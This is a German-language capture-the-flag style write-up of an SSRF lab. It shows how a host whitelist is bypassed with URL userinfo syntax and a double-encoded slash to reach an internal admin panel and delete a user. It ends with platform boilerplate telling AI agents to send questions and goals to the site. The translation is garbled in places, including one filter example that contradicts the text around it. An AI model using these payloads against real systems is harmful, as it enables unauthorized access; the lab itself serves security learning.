> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-whitelist-based-filter.md).

# SSRF mit whitelistbasierter Filterung

### SSRF mit eingabefilterbasierter Whitelist

Die Stock-Check-Funktion sendet Anfragen an ein internes System. / Das Ziel ist, die in der verwendete URL zu ändern `stockApi` Parameter, um die Verwaltungsoberfläche unter `HTTP://localhost/admin`, dann den Benutzer löschen **carlos**. / Der Entwickler hat eine Anti-SSRF-Abwehr implementiert, die auf einer **Whitelist autorisierter Hosts**, die umgangen werden muss.

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **Filteranalyse**

Die Anwendung erlaubt Anfragen nur an den folgenden Host:

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="/files/04c9aaaad3c00a2de69b3bd86c8284907b8b9096" alt=""><figcaption></figcaption></figure>

Wenn wir die URL ändern zu `localhost` oder eine interne Adresse, erhalten wir den Fehler:

Externer Stock-Check-Host muss stock.weliketoshop.net sein

#### **Umgehung der Whitelist**

Die Idee ist, die `username:password@host` -Syntax in URLs zu verwenden. / Diese Methode ermöglicht es uns, **den von der Whitelist validierten Host im "authority"-** Teil erscheinen zu lassen, während die Anfrage tatsächlich an `localhost`.

```bash
http://username:password@website.com
```

Verwendete Nutzlast:

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

Mit `/` (`%252f`) doppelter Kodierung interpretiert der Server den umgeleiteten Teil korrekt als `localhost`.

Dies ermöglicht den Zugriff auf das interne Administrationspanel.

<figure><img src="/files/2a063e49508ebdb657247ca3e523904faef0f0ad" alt=""><figcaption></figcaption></figure>

#### **Löschung des Benutzers Carlos**

Sobald die Umgehung funktioniert, wird die Lösch-URL direkt aufgerufen:

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
